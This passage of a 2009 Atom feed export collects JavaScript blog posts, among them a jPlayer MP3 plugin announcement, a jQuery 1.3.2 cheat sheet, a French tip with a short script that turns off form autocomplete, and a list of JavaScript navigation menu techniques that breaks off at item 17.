&lt;a href="http://feedads.g.doubleclick.net/~a/hNHT60X65ILfliBq0O5w-Gq8lIU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hNHT60X65ILfliBq0O5w-Gq8lIU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/lGJ2heIaj3k" height="1" width="1"/&gt;</content><author><name>Clément</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/le-multi-lignes-en-javascript/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1241806758752"><id gr:original-id="http://www.dator.fr/?p=1070">tag:google.com,2005:reader/item/38554ec3a114a317</id><category term="Articles" /><title type="html">Un lecteur MP3 en Javascript avec jQuery avec le plugin jPlayer</title><published>2009-05-08T12:00:36Z</published><updated>2009-05-08T12:00:36Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/XWP7PekKgMw/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;&lt;img title="jquery-jplayer" src="http://www.dator.fr/wp-content/uploads/2009/05/jquery-jplayer.jpg" alt="jquery-jplayer" width="465" height="174"&gt;&lt;/p&gt;
&lt;p&gt;Un petit plugin pour lire vos &lt;strong&gt;mp3&lt;/strong&gt; avec &lt;strong&gt;jQuery&lt;/strong&gt; ? Ca vous dit ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;jPlayer&lt;/strong&gt; permet de gérer un lecteur mp3 simple ou un lecteur mp3 avec une playlist ! Le style CSS est entièrement modifiable et vous pouvez utiliser ce lecteur en pure texte !&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.happyworm.com/jquery/jplayer/0.2.1/demos.htm"&gt;Voici les démonstrations&lt;/a&gt; .&lt;a href="http://www.happyworm.com/jquery/jplayer/0.2.1/demos.htm"&gt;&lt;br&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.happyworm.com/jquery/jplayer/download.htm"&gt;Et le lien pour télécharger le plugin&lt;/a&gt; .&lt;/p&gt;
&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/the-cloud-player-un-lecteur-mp3-comme-itunes-en-javascript/" rel="bookmark"&gt;The Cloud Player, un lecteur mp3 comme Itunes en javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/un-plugin-jquery-dagrandissement-automatique-de-vos-textareas/" rel="bookmark"&gt;Un plugin jQuery d'agrandissement automatique de vos textareas&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-splitter-un-plugin-permettant-de-separer-votre-contenu-en-plusieurs-parties/" rel="bookmark"&gt;jQuery Splitter, un plugin permettant de séparer votre contenu en plusieurs parties&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-plugin-detector-un-bookmarklet-pour-detecter-les-plugin-jquery-present-sur-un-site/" rel="bookmark"&gt;jQuery plugin detector, un bookmarklet pour détecter les plugin jQuery présent sur un site&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquerypopeye-une-nouvelle-alternative-de-lightbox-pour-afficher-vos-images/" rel="bookmark"&gt;jQuery.popeye(), une nouvelle alternative de lightbox pour afficher vos images&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/un-lecteur-mp3-en-javascript-avec-jquery-avec-le-plugin-jplayer/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt;
&lt;br&gt;
Mot clés: &lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/300/250?ca=1&amp;amp;fh=280#http%3A%2F%2Fwww.dator.fr%2Fun-lecteur-mp3-en-javascript-avec-jquery-avec-le-plugin-jplayer%2F" width="100%" height="280" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:RW9bx_9rXgo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:x5wxd0RC_-I"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?i=XWP7PekKgMw:_bdaGF--rL8:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=XWP7PekKgMw:_bdaGF--rL8:qj6IDK7rITs"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds2.feedburner.com/~r/DatorBlog/~4/XWP7PekKgMw" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YzmpVSCS21gKXQiVhIh6-a-sNus/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YzmpVSCS21gKXQiVhIh6-a-sNus/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YzmpVSCS21gKXQiVhIh6-a-sNus/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YzmpVSCS21gKXQiVhIh6-a-sNus/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/XWP7PekKgMw" height="1" width="1"/&gt;</content><author><name>Clément</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/un-lecteur-mp3-en-javascript-avec-jquery-avec-le-plugin-jplayer/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1241786426221"><id gr:original-id="http://www.dator.fr/?p=1067">tag:google.com,2005:reader/item/ceddc52f8c881512</id><category term="Cheat Sheets" /><category term="jQuery" /><title type="html">La cheat Sheet de jQuery 1.3.2</title><published>2009-05-08T09:13:22Z</published><updated>2009-05-08T09:13:22Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/nk-CGBqUzLA/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;&lt;img title="jquery-cheat-sheet" src="http://www.dator.fr/wp-content/uploads/2009/05/jquery-cheat-sheet.jpg" alt="jquery-cheat-sheet" width="465" height="174"&gt;&lt;/p&gt;
&lt;p&gt;La nouvelle anti-sèche de&lt;strong&gt; jQuery 1.3.2&lt;/strong&gt; vient de sortir  !&lt;/p&gt;
&lt;p&gt;Voici les 3 sources de téléchargement:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.javascripttoolbox.com/jquery/cheatsheet/JQueryCheatSheet-1.3.2.xls"&gt;Microsoft XLS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.javascripttoolbox.com/jquery/cheatsheet/JQueryCheatSheet-1.3.2.pdf"&gt;Adobe PDF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.javascripttoolbox.com/jquery/cheatsheet/JQueryCheatSheet-1.3.2.png"&gt;Image PNG&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/la-cheat-sheet-de-jquery/" rel="bookmark"&gt;La Cheat Sheet de jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/la-cheat-sheet-de-wordpress/" rel="bookmark"&gt;La Cheat Sheet de Wordpress&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/une-liste-de-ressources-alternatives-pour-la-documentation-de-jquery/" rel="bookmark"&gt;Une liste de ressources alternatives pour la documentation de jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-130-est-sorti/" rel="bookmark"&gt;jQuery 1.3.0 est sorti&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/la-documentation-de-jquery-dans-une-application-air/" rel="bookmark"&gt;La documentation de jQuery dans une application Air&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/la-cheat-sheet-de-jquery-132/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt;
&lt;br&gt;
Mot clés: &lt;a href="http://www.dator.fr/tag/cheat-sheets/" rel="tag"&gt;Cheat Sheets&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/jquery/" rel="tag"&gt;jQuery&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/300/250?ca=1&amp;amp;fh=280#http%3A%2F%2Fwww.dator.fr%2Fla-cheat-sheet-de-jquery-132%2F" width="100%" height="280" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:RW9bx_9rXgo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:x5wxd0RC_-I"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?i=nk-CGBqUzLA:FOA4zRUJeFI:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds2.feedburner.com/~ff/DatorBlog?a=nk-CGBqUzLA:FOA4zRUJeFI:qj6IDK7rITs"&gt;&lt;img src="http://feeds2.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds2.feedburner.com/~r/DatorBlog/~4/nk-CGBqUzLA" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2bfrw9OjJ7ocJa_IePEQ1SaNuXc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2bfrw9OjJ7ocJa_IePEQ1SaNuXc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2bfrw9OjJ7ocJa_IePEQ1SaNuXc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2bfrw9OjJ7ocJa_IePEQ1SaNuXc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/nk-CGBqUzLA" height="1" width="1"/&gt;</content><author><name>Clément</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/la-cheat-sheet-de-jquery-132/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1241567685395"><id gr:original-id="urn:md5:6597a7a2d9c053184db44c979992f4ed">tag:google.com,2005:reader/item/420f40e51d50a0b8</id><category term="Astuces diverses et variées" /><title type="html">Astuce JavaScript: désactiver l&amp;#39;historique de saisie d&amp;#39;un (ou plusieurs) champ(s) de texte.</title><published>2009-05-05T22:00:00Z</published><updated>2009-05-05T22:00:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/_Bshwk2hoZg/index.php" type="text/html" /><content xml:base="http://vip93fr.free.fr/2point0/index.php?" xml:lang="fr" type="html">&lt;p&gt;Un beau jour, vous avez décidé d'implémenter votre propre moteur de recherche avec suggestions de mots-clés grâce à de l'AJAX (à la manière d'un Google Suggest). Par défaut, lorsque vous soumettez plusieurs recherches, un historique de saisie s'affiche par défaut en-dessous du champ de texte. Comme vous pouvez vous en douter, ceci peut vite s'avérer assez gênant vu que l'historique de saisie risque de masquer votre liste de suggestions de mots-clés. Voici une astuce pour éviter cela.&lt;/p&gt;    &lt;p&gt;L'astuce consiste à utiliser un petit bout de code JavaScript. Voici ce code:&lt;br&gt;&lt;br&gt;
&lt;code&gt;window.onload = function() {&lt;br&gt;
     var inputs = document.getElementsByTagName(&amp;#39;input&amp;#39;);&lt;br&gt;
     for(var i = 0; i &amp;lt; inputs.length; i++) {&lt;br&gt;
          if(inputs[i].type == &amp;#39;text&amp;#39;) {&lt;br&gt;
               inputs[i].setAttribute(&amp;#39;autocomplete&amp;#39;, &amp;#39;off&amp;#39;);&lt;br&gt;
          };&lt;br&gt;
     };&lt;br&gt;
};&lt;/code&gt;&lt;br&gt;&lt;br&gt;
On va créer une fonction qui va être exécutée au chargement de la fenêtre (window.onload). À l'intérieur de cette fonction, on récupère tous les champs de texte de la page (en HTML, ce sont des balises "input" de type "text") dans une variable. On boucle sur tous les éléments "input", et si l'élément "input" est de type "text", on fixe l'attribut "autocomplete" à la valeur "off". Ainsi, l'historique de saisie disparaîtra du (ou des) champ(s) de texte :-).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1LzWAR5bXu4I1m4C40pN3nqPKZ0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1LzWAR5bXu4I1m4C40pN3nqPKZ0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1LzWAR5bXu4I1m4C40pN3nqPKZ0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1LzWAR5bXu4I1m4C40pN3nqPKZ0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/_Bshwk2hoZg" height="1" width="1"/&gt;</content><author><name>Ced</name></author><source gr:stream-id="feed/http://vip93fr.free.fr/2point0/index.php?feed/atom"><id>tag:google.com,2005:reader/feed/http://vip93fr.free.fr/2point0/index.php?feed/atom</id><title type="html">Mon antre.</title><link rel="alternate" href="http://vip93fr.free.fr/2point0/index.php?" type="text/html" /></source><feedburner:origLink>http://vip93fr.free.fr/2point0/index.php?post/2009/05/06/Astuce-JavaScript%3A-d%C3%A9sactiver-l-historique-de-saisie-d-un-champ-de-texte.</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1241437844728"><id gr:original-id="http://sixrevisions.com/?p=772">tag:google.com,2005:reader/item/51371c5869eeb784</id><category term="JavaScript" /><title type="html">20 Excellent JavaScript Navigation Techniques and Examples</title><published>2009-05-01T10:15:20Z</published><updated>2009-05-01T10:15:20Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/VOCXO4fCjuc/" type="text/html" /><content xml:base="http://sixrevisions.com/" type="html">&lt;p&gt;JavaScript allows you to add interactivity and feedback,  making the user’s experience better and more intuitive.&lt;/p&gt;
&lt;p&gt;Recently we showed you  some &lt;a href="http://sixrevisions.com/css/30-exceptional-css-navigation-techniques/"&gt;exceptional  CSS navigation techniques&lt;/a&gt; and we’d like to follow that up with an article  about JavaScript-based navigation examples that you can use. Keep in mind that  some of these techniques might not work if the client browser has JavaScript  turned off (on average, 5% of users have JS disabled according to &lt;a href="http://www.w3schools.com/browsers/browsers_stats.asp"&gt;W3 web  statistics&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In this article you’ll discover some &lt;strong&gt;terrific and unique JavaScript-powered  navigation techniques and examples&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;: clicking on each image will take you directly to the demo  page of the navigation menu technique if it’s on a &lt;em&gt;separate page&lt;/em&gt;. Their names will take  you to their project web page.&lt;/p&gt;
&lt;h3&gt;1. &lt;a href="http://greengeckodesign.com/projects/menumatic.aspx"&gt;MenuMatic&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This example takes semantic ordered or unordered list of  links and turns it into a dynamic drop down menu system that can be vertically  or horizontally oriented.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://greengeckodesign.com/projects/menumatic/examples/vertical/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-02_menu_matic.jpg" width="500" height="282" alt="menumatic"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://greengeckodesign.com/projects/menumatic/examples/vertical/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;2. &lt;a href="http://www.shopdev.co.uk/blog/animated-menus-using-jquery/"&gt;Animated Menu  using jQuery&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A technique for animating menu items when a user hovers over  them. Source files, including the PSD file, are available to download.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.shopdev.co.uk/blog/menuDemo.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-07_animated_menu.jpg" width="500" height="151" alt="Animated Menu using jQuery"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.shopdev.co.uk/blog/menuDemo.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;3. &lt;a href="http://www.gayadesign.com/diy/jquery-convertion-garagedoor-effect-using-javascript/"&gt;Garagedoor Effect using jQuery&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.gayadesign.com/about/"&gt;Gaya  Kessler&lt;/a&gt; presents a wonder JavaScript menu that mimics the real garage door  using jQuery.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.gayadesign.com/scripts/jquerygaragedoor/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-01_garage_door.jpg" width="500" height="109" alt="Garagedoor Effect using jQuery"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.gayadesign.com/scripts/jquerygaragedoor/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;4. &lt;a href="http://sonicradish.com/labs/jGlideMenu/current/?src=ASL_LAB"&gt;JGlide Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A very unique menu that floats on the page. Users can drag  it to a position they desire.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://sonicradish.com/labs/jGlideMenu/current/static_demo.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-18_jglide.jpg" width="500" height="200" alt="JGlide Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://sonicradish.com/labs/jGlideMenu/current/static_demo.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;5. &lt;a href="http://hv-designs.co.uk/2009/02/17/sliding-jquery-menu/"&gt;Vertical Sliding  jQuery Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://hv-designs.co.uk/"&gt;HVDesigns&lt;/a&gt; presents a menu that drops down and reveals more links.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-03_verticle_sliding.jpg" width="500" height="192" alt="Sliding jQuery Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.hv-designs.co.uk/tutorials/sliding_menu/sliding_menu.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;6. &lt;a href="http://www.mattweltman.com/sliding_tabs.html"&gt;Perspective  Tabs&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;You can have scrolling tabs with animation using this  technique.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.mattweltman.com/sliding_tabs.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-13_mootools_tabs.jpg" width="500" height="298" alt="Perspective Tabs"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.mattweltman.com/sliding_tabs.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;7. &lt;a href="http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html"&gt;Vertical  Digg-like Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Antonio Lupetti presents a Digg-like menu that uses simple JavaScript.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://woork.blogspot.com/2008/01/simple-css-vertical-menu-digg-like.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-09_digg_like_menu.jpg" width="500" height="149" alt="Vertical Digg-like Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;8. &lt;a href="http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/"&gt;LavaLamp&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When you hover an item, you’ll see the &lt;a href="http://alistapart.com/articles/slidingdoors"&gt;CSS sliding  door&lt;/a&gt; technique created using jQuery. An alternate version for MooTols can  be&lt;a href="http://devthought.com/blog/projects-news/2007/01/cssjavascript-true-power-fancy-menu/"&gt; here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.gmarwaha.com/blog/2007/08/23/lavalamp-for-jquery-lovers/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-14_mootools_fancy_menu.jpg" width="500" height="96" alt="LavaLamp"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;9. &lt;a href="http://marcgrabanski.com/pages/code/fisheye-menu"&gt;Fisheye Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you’re a big fan of the Mac dock you will enjoy this  menu.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://marcgrabanski.com/pages/code/fisheye-menu"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-17_fisheye.jpg" width="500" height="163" alt="Fisheye Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;10. &lt;a href="http://www.dezinerfolio.com/2007/07/19/simple-javascript-accordions/"&gt;Simple JavaScript Accordions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A great technique for integrating accordion-style menus into  your site.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-04_javascript_accordian.jpg" width="500" height="247" alt="Simple JavaScript Accordions"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.dezinerfolio.com/wp-content/uploads/accordemo/01.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;11. &lt;a href="http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/"&gt;Sliding  JavaScript Menu Highlight&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This sliding hover effect script is an easy technique for  highlighting menu items.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-08_highlight_menu.jpg" width="500" height="107" alt="Sliding JavaScript Menu Highlight"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;12. &lt;a href="http://css-tricks.com/learning-jquery-fading-menu-replacing-content/"&gt;Fading Menu - Replacing Content&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This technique allows you to fade in and fade out menu  items.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://css-tricks.com/examples/MenuFader/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-05_fading_menu.jpg" width="500" height="129" alt="Fading Menu - Replacing Content"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://css-tricks.com/examples/MenuFader/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;13. &lt;a href="http://javascript-array.com/scripts/simple_drop_down_menu/"&gt;Simple Multi-level Drop-Down Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A simple JavaScript drop down menu tutorial.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://javascript-array.com/scripts/simple_drop_down_menu/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-06_multil_level_drop_down.jpg" width="500" height="167" alt="Simple Multi-level Drop-Down Menu"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;14. &lt;a href="http://snook.ca/archives/javascript/jquery-bg-image-animations/"&gt;Using jQuery for Background Image Animations&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A technique for creating animated menus using jQuery and CSS  background-position properties.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://snook.ca/technical/jquery-bg/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-12_background_position.jpg" width="500" height="150" alt="Using jQuery for Background Image Animations"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://snook.ca/technical/jquery-bg/"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;15. &lt;a href="http://www.chromasynthetic.com/blog/mootools-demo-redux/57/"&gt;Mootools  Redux&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A menu using MooTools that expands the link’s font size when  you mouse over the item.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-10_mootools_demo.jpg" width="500" height="144" alt="Mootools Redux"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html"&gt;View Demo Page&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;16. &lt;a href="http://berndmatzner.de/jquery/hoveraccordion/"&gt;HoverAccordion/Sidebar  Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This is an accordion plugin which can be used as a vertical sidebar  menu too.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://berndmatzner.de/jquery/hoveraccordion/"&gt;&lt;img src="http://images.sixrevisions.com/2009/04/29-11_hover_accordion.jpg" width="500" height="200" alt="Using jQuery for Background Image Animations"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;17. &lt;a href="http://tools.uvumi.com/dropdown.html"&gt;UvumiTools  Dropdown Menu&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Another JavaScript menu based on MooTools with lots of features.&lt;/p&gt;
